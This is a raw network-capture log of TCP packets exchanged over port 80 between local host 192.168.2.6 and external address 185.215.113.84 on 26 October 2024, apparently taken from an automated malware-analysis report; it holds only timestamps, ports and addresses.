Oct 26, 2024 07:27:12.133238077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133250952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133254051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133264065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133279085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133280993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133301020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133312941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133322001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133322954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133332014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133343935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133352995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133361101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133361101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133369923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133382082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133385897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133394957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133407116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133409977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133419991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133426905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133436918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133445978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133460045 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133461952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133471012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133485079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133505106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133676052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133753061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133800983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133810043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133825064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133832932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133848906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133852005 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133857012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133866072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133872032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133873940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133883953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133888006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133892059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133900881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133908033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133915901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133915901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133940935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133946896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133949041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133963108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133965969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133975029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133990049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133990049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133999109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134006023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134013891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134013891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134022951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134033918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134038925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134047985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134056091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134064913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134080887 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134098053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134133101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134141922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134149075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134156942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134172916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134177923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134190083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134202003 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134208918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134210110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134218931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134227037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134233952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134236097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134243965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134252071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134259939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134263039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134267092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134284973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134289026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134294033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134310961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134311914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134320974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134329081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134335995 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134336948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134349108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134356022 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.134376049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.134399891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.156668901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156706095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156721115 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156759977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156779051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156781912 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.156789064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156802893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156811953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156814098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.156821966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156857967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.156886101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.156889915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156899929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156908035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156917095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156933069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156934977 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.156941891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156958103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.156961918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.156987906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.156992912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157001019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157013893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157016993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157026052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157035112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157049894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157049894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157059908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157075882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157078028 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157099962 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157110929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157123089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157130957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157145977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157155991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157171011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157171965 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157180071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157197952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157198906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157221079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157257080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157265902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157280922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157289028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157296896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157299995 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157305002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157315016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157324076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157361984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157371044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157378912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157386065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157387018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157396078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157403946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157413006 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157421112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157433033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157450914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157469034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157474041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157484055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157522917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157687902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157711029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157727003 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157728910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157737970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157746077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157752037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157758951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157759905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157777071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157783031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157787085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157795906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157807112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157824039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157824993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157834053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157840967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157850027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157850027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157857895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157872915 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157876015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157881021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157895088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157901049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157905102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157922029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157923937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157932997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.157943010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157962084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.157987118 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158056021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158065081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158080101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158087969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158107042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158111095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158119917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158133030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158134937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158143997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158159018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158160925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158165932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158181906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158183098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158190012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158205032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158205986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158216000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158231974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158232927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158241034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158248901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158255100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158257008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158267021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158274889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158282995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158288956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158293962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158318043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158343077 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158411980 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158421040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158428907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158436060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158443928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158462048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158473969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158476114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158482075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158485889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158494949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158504009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158509970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158519030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158535004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158535957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158544064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158560038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158560991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158569098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158577919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158585072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158586025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.158616066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.158633947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.159288883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.159343004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.159353018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.159410000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.159430981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.159439087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.159446955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.159454107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.159470081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.159476042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.159477949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.159496069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.159503937 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.159532070 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.160620928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160689116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160697937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160712957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160720110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160727978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160743952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.160749912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160758018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160765886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160769939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.160774946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160784960 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.160793066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160803080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160815954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.160816908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.160841942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161062956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161072016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161087036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161093950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161109924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161115885 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161128044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161156893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161194086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161211967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161220074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161238909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161247015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161262989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161266088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161271095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161278963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161286116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161293030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161294937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161303997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161314964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161318064 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161323071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161334991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161339045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161341906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161348104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161355972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161365032 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161370993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161374092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161391020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161398888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161398888 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161408901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161417961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161418915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161433935 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161453009 CEST	49991	80	192.168.2.6	185.215.113.84
